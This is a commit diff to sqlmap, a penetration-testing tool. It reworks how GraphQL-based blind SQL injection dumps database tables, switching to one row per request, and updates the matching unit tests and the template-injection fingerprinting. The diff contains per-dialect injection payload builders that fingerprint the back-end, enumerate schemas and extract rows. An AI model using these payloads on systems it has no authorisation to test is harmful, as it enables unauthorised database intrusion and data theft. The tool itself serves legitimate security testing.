Minor patches

This commit is contained in:
Miroslav Štampar 2026-07-10 12:04:08 +02:00
parent 2fec735b13
commit 986933e709
5 changed files with 84 additions and 48 deletions

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.67"
VERSION = "1.10.7.68"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

View file

@ -39,9 +39,14 @@ SENTINEL = randomStr(length=10, lowercase=True)
# Maximum characters recovered for a single blind-inferred scalar (banner, user, table list, ...)
MAX_LENGTH = 1024
# Higher ceiling for a whole-table dump (its rows are concatenated into one scalar before extraction)
# Ceiling for a single row's concatenated cells (one row is extracted per request, so
# this need not hold a whole table; a GROUP_CONCAT of the whole table would be silently
# capped by the back-end - notably MySQL's group_concat_max_len=1024 - hence per-row).
DUMP_MAX_LENGTH = 8192
# Maximum number of rows dumped per table (bounds a runaway blind dump)
DUMP_MAX_ROWS = 1000
# Printable-ASCII codepoint bounds for blind character inference
CHAR_MIN = 0x20
CHAR_MAX = 0x7e
@ -49,9 +54,8 @@ CHAR_MAX = 0x7e
# Number of independent predicates packed into a single aliased GraphQL document (batched inference)
BATCH_SIZE = 40
# Column/row separators woven into a GROUP_CONCAT/STRING_AGG table dump (printable, improbable in data)
# Cell separator woven into a per-row dump scalar (printable, improbable in data)
COL_SEP = "~~~"
ROW_SEP = "^^^"
# GraphQL scalar types mapped to injection strategy (None = skip)
SCALAR_STRATEGY = {
@ -85,35 +89,35 @@ _inputFields = {}
# established on a slot. `fingerprint` is a predicate true only on that back-end (it errors -> falsy
# elsewhere). `length`/`ordinal` render a scalar-extraction sub-expression. `delay` wraps a condition
# in an inline conditional sleep (None where the engine offers none, e.g. SQLite). `banner`/
# `currentUser`/`currentDb`/`tables` are generic enumeration scalars; `columns`/`rows` build the
# per-table column list and a single-scalar dump of every row (cells joined COL_SEP, rows ROW_SEP).
# `currentUser`/`currentDb`/`tables` are generic enumeration scalars; `columns` builds the per-table
# column list and `row(columns, table, offset)` a single row's cells joined by COL_SEP.
Dialect = namedtuple("Dialect", ("fingerprint", "length", "ordinal", "delay",
"banner", "currentUser", "currentDb",
"tables", "columns", "rows"))
"tables", "columns", "row"))
def _sqliteRows(columns, table):
cells = ["COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns]
body = ("||'%s'||" % COL_SEP).join(cells)
return "(SELECT GROUP_CONCAT(%s,'%s') FROM %s)" % (body, ROW_SEP, table)
# A row is extracted one at a time by ordinal position (LIMIT/OFFSET). Concatenating
# the whole table into a single GROUP_CONCAT/STRING_AGG scalar would be silently
# truncated by the back-end (MySQL caps group_concat_max_len at 1024 bytes), dropping
# rows without warning; per-row extraction is unbounded and dialect-uniform.
def _sqliteRow(columns, table, offset):
body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns)
return "(SELECT %s FROM %s LIMIT 1 OFFSET %d)" % (body, table, offset)
def _mysqlRows(columns, table):
cells = ["COALESCE(CAST(%s AS CHAR),'NULL')" % _ for _ in columns]
body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join(cells))
return "(SELECT GROUP_CONCAT(%s SEPARATOR '%s') FROM %s)" % (body, ROW_SEP, table)
def _mysqlRow(columns, table, offset):
body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join("COALESCE(CAST(%s AS CHAR),'NULL')" % _ for _ in columns))
return "(SELECT %s FROM %s LIMIT %d,1)" % (body, table, offset)
def _pgsqlRows(columns, table):
cells = ["COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns]
body = ("||'%s'||" % COL_SEP).join(cells)
return "(SELECT STRING_AGG(%s,'%s') FROM %s)" % (body, ROW_SEP, table)
def _pgsqlRow(columns, table, offset):
body = ("||'%s'||" % COL_SEP).join("COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns)
return "(SELECT %s FROM %s LIMIT 1 OFFSET %d)" % (body, table, offset)
def _mssqlRows(columns, table):
cells = ["COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _ for _ in columns]
body = ("+'%s'+" % COL_SEP).join(cells)
return "(SELECT STRING_AGG(%s,'%s') FROM %s)" % (body, ROW_SEP, table)
def _mssqlRow(columns, table, offset):
body = ("+'%s'+" % COL_SEP).join("COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _ for _ in columns)
return "(SELECT %s FROM %s ORDER BY (SELECT NULL) OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY)" % (body, table, offset)
DIALECTS = OrderedDict((
@ -127,7 +131,7 @@ DIALECTS = OrderedDict((
currentDb=None,
tables="(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%')",
columns=lambda table: "(SELECT GROUP_CONCAT(name) FROM pragma_table_info('%s'))" % table,
rows=_sqliteRows)),
row=_sqliteRow)),
("Microsoft SQL Server", Dialect(
fingerprint="@@VERSION LIKE '%Microsoft%'",
length=lambda expr: "LEN((%s))" % expr,
@ -138,7 +142,7 @@ DIALECTS = OrderedDict((
currentDb="DB_NAME()",
tables="(SELECT STRING_AGG(name,',') FROM sys.tables)",
columns=lambda table: "(SELECT STRING_AGG(name,',') FROM sys.columns WHERE object_id=OBJECT_ID('%s'))" % table,
rows=_mssqlRows)),
row=_mssqlRow)),
("PostgreSQL", Dialect(
fingerprint="(SELECT version()) LIKE 'PostgreSQL%'",
length=lambda expr: "LENGTH((%s))" % expr,
@ -149,7 +153,7 @@ DIALECTS = OrderedDict((
currentDb="CURRENT_DATABASE()",
tables="(SELECT STRING_AGG(table_name,',') FROM information_schema.tables WHERE table_schema='public')",
columns=lambda table: "(SELECT STRING_AGG(column_name,',') FROM information_schema.columns WHERE table_name='%s')" % table,
rows=_pgsqlRows)),
row=_pgsqlRow)),
("MySQL", Dialect(
fingerprint="@@VERSION_COMMENT IS NOT NULL",
length=lambda expr: "CHAR_LENGTH((%s))" % expr,
@ -160,7 +164,7 @@ DIALECTS = OrderedDict((
currentDb="DATABASE()",
tables="(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())",
columns=lambda table: "(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='%s')" % table,
rows=_mysqlRows)),
row=_mysqlRow)),
))
@ -904,18 +908,32 @@ def _inferrer(truth, truthBatch, dialect):
def _dumpTable(infer, dialect, table):
# Enumerate a table's columns, then recover every row as one concatenated scalar
# and split it back into a (columns, rows) grid
# Enumerate a table's columns, then recover its rows ONE AT A TIME by ordinal
# position. A whole-table GROUP_CONCAT/STRING_AGG would be silently truncated by
# the back-end (e.g. MySQL group_concat_max_len=1024), dropping rows; per-row
# extraction has no such cap.
columnsRaw = infer(dialect.columns(table))
columns = [_ for _ in (columnsRaw or "").split(",") if _]
if not columns:
return None
raw = infer(dialect.rows(columns, table), DUMP_MAX_LENGTH)
countRaw = infer("(SELECT COUNT(*) FROM %s)" % table)
try:
count = int((countRaw or "").strip())
except ValueError:
count = 0
rows = []
for record in (raw or "").split(ROW_SEP) if raw else []:
cells = record.split(COL_SEP)
for offset in xrange(min(count, DUMP_MAX_ROWS)):
raw = infer(dialect.row(columns, table, offset), DUMP_MAX_LENGTH)
if raw is None:
continue
cells = raw.split(COL_SEP)
rows.append((cells + [""] * len(columns))[:len(columns)])
if count > DUMP_MAX_ROWS:
logger.warning("table '%s' has %d rows; dumping the first %d (DUMP_MAX_ROWS cap)" % (table, count, DUMP_MAX_ROWS))
return columns, rows

View file

@ -482,6 +482,12 @@ def _familyUniquelyIdentifies(engine):
return sum(e.family == engine.family for e in siblings) == 1
# Delimiters shared by more than one engine in _ENGINE_TABLE; a match on any of these
# needs the full cross-engine comparison to disambiguate (Jinja2/Twig/Handlebars for
# "{{", Freemarker/SpringEL/Mako for "${"). Any other delimiter is unique to one engine.
_SHARED_DELIMITERS = frozenset(("{{", "${"))
def _fingerprint(place, parameter):
"""Identify the template engine and confirm injection. Returns (engine, evidence)
where evidence is a dict of detection results, or (None, None).
@ -532,6 +538,12 @@ def _fingerprint(place, parameter):
bestEngine = engine
bestEvidence = evidence
# A decisive arithmetic proof on an engine whose delimiter no other engine shares
# is unambiguous: stop scanning the remaining engines (all phases of THIS engine
# already ran, so its evidence is complete) instead of exhaustively testing all nine.
if bestEngine is engine and evidence.get("arithmetic") and engine.delimiter not in _SHARED_DELIMITERS:
break
if bestEngine and bestScore >= 3:
# For engines with ambiguous delimiters (shared by multiple engines),
# name a specific engine when: error fingerprint, distinguishing probe,

View file

@ -439,10 +439,10 @@ class TestGraphqlDialects(unittest.TestCase):
self.assertEqual(d.length("x"), "LENGTH((x))")
self.assertEqual(d.ordinal("x", 3), "UNICODE(SUBSTR((x),3,1))")
def test_sqlite_rows_handles_nulls(self):
def test_sqlite_row_handles_nulls(self):
d = gi.DIALECTS["SQLite"]
sql = d.rows(["name", "surname"], "users")
self.assertIn("GROUP_CONCAT", sql)
sql = d.row(["name", "surname"], "users", 3)
self.assertIn("LIMIT 1 OFFSET 3", sql) # per-row, not a whole-table GROUP_CONCAT
self.assertIn("COALESCE(CAST(name AS TEXT),'NULL')", sql)
self.assertIn("FROM users", sql)
@ -529,7 +529,7 @@ def _mockOracle(target):
tables=None, columns=None,
length=lambda expr: "LEN(%s)" % expr,
ordinal=lambda expr, pos: "ORD(%s,%d)" % (expr, pos),
rows=None)
row=None)
def _value(cond):
pos = None
@ -581,20 +581,21 @@ class TestGraphqlInference(unittest.TestCase):
class TestGraphqlDumpTable(unittest.TestCase):
"""Whole-table dump: column list + row scalar split back into a grid"""
"""Whole-table dump: column list + COUNT(*) + one row-scalar per ordinal offset"""
def test_dump_table(self):
d = gi.DIALECTS["SQLite"]
responses = {
"(SELECT GROUP_CONCAT(name) FROM pragma_table_info('users'))": "id,name",
d.columns("users"): "id,name",
"(SELECT COUNT(*) FROM users)": "2",
d.row(["id", "name"], "users", 0): "1~~~null",
d.row(["id", "name"], "users", 1): "2~~~luther",
}
rowScalar = "1%snull^^^2%sluther" % ("~~~", "~~~") # two rows, two columns
def infer(expr, maxLen=gi.MAX_LENGTH):
if expr in responses:
return responses[expr]
return rowScalar # the GROUP_CONCAT row dump
return responses.get(expr)
columns, rows = gi._dumpTable(infer, gi.DIALECTS["SQLite"], "users")
columns, rows = gi._dumpTable(infer, d, "users")
self.assertEqual(columns, ["id", "name"])
self.assertEqual(rows, [["1", "null"], ["2", "luther"]])

View file

@ -1227,13 +1227,18 @@ class TestGraphqlDumpTable(unittest.TestCase):
DIALECT = gql.DIALECTS["MySQL"]
def test_dump_table_grid(self):
# infer() returns the column list for dialect.columns(table), then the concatenated
# rows scalar for dialect.rows(...). We map by which sub-expression is requested.
columns_expr = self.DIALECT.columns("users")
rows_value = gql.COL_SEP.join(("1", "alice")) + gql.ROW_SEP + gql.COL_SEP.join(("2", "bob"))
# infer() returns the column list for dialect.columns(table), the COUNT(*), then
# one COL_SEP-joined row scalar per ordinal offset (rows are dumped individually
# to avoid the back-end's GROUP_CONCAT truncation).
responses = {
self.DIALECT.columns("users"): "id,name",
"(SELECT COUNT(*) FROM users)": "2",
self.DIALECT.row(["id", "name"], "users", 0): gql.COL_SEP.join(("1", "alice")),
self.DIALECT.row(["id", "name"], "users", 1): gql.COL_SEP.join(("2", "bob")),
}
def infer(expr, maxLen=gql.MAX_LENGTH):
return "id,name" if expr == columns_expr else rows_value
return responses.get(expr)
columns, rows = gql._dumpTable(infer, self.DIALECT, "users")
self.assertEqual(columns, ["id", "name"])